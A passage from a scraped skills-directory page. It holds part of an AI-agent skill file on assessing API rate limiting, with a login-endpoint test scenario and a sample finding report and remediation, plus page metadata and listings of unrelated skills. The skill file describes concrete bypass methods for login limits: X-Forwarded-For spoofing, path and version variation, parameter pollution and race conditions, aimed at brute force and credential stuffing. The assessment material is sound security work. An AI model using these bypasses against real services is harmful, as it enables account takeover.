per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":40,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: performing-api-rate-limiting-bypass | description: 'Tests API rate limiting implementations for bypass vulnerabilities by |   manipulating request headers, IP addresses, HTTP methods, API versions, and encoding |   schemes to circumvent request throttling controls. The tester identifies rate limit |   headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For |   spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps |   to OWAS","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-performing-api-rate-limiting-bypass",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-14 03:05:17",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-performing-api-rate-limiting-bypass",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-performing-api-rate-limiting-bypass",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-performing-api-rate-limiting-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-performing-api-rate-limiting-bypass\u002FSKILL.md",[],[69,78,85,92,99,106],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":77},"01M73K12W8K0GSTB4ABKS8BD7H","executing-plans","Use when you have a written implementation plan to execute in a separate session with review checkpoints","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexecuting-plans\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":77},"01M73HC2NSXYYN54GBASVG2RDJ","using-git-worktrees","Use when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fusing-git-worktrees\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":77},"01M73HC12557CB08VDEF1YTF3H","triage","Triage issues through a state machine driven by triage roles. Use when user wants to create an issue, triage issues, review incoming bugs or feature requests, prepare issues for an AFK agent, or manage issue workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftriage\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":77},"01M73HBXB8F8ED4KQXVXEWCV8B","trade-edge-audit","The EDGE LENS for trading peers — recalls EVERY factor\u002Findicator running from the live forecast ledger (no enumeration) and renders the whole pile through the edge arsenal off ONE call: multi-horizon scoring (the ladder) + deflated Sharpe (overfit) + Benjamini-Hochberg FDR (multiple-testing across the fleet) + spread-bounce + maker-fee falsification, then ranks only what survives ALL of it. Use when a peer must answer \"does ANY running factor have real, overfit-corrected, multiple-testing-corrected, fee-surviving edge, and at which horizon\" without hand-assembling 6 tools. The trade-engine analog of quantum-hypothesis-simulation.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-edge-audit\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":77},"01M73HBT5ZRCA82SQJ781NWVNQ","trade-decision-sim","The DECISION LENS for trading peers — recalls the CURRENT signal snapshot per market from the live ledger and renders it through the sim arsenal off ONE call: quantum factor-circuit order-optimal sequencing + decision-sim CVaR-robust sizing, sized against the MEASURED per-factor edge (from the edge-audit), correlation-aware. Emits an actionable call per market {side, sizePct, confidence, sequence}. Flat\u002Fzero-size when there is no measured edge after cost — the honest default. Sibling of trade-edge-audit (the EDGE lens); the trade-engine analog of quantum-hypothesis-simulation for a live decision.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-decision-sim\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":77},"01M73HBN2WTKGN790WYQD6GBM4","to-issues","Break a plan, spec, or PRD into independently-grabbable issues on the project issue tracker using tracer-bullet vertical slices. Use when user wants to convert a plan into issues, create implementation tickets, or break down work into issues.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fto-issues\u002FSKILL.md",[],[]]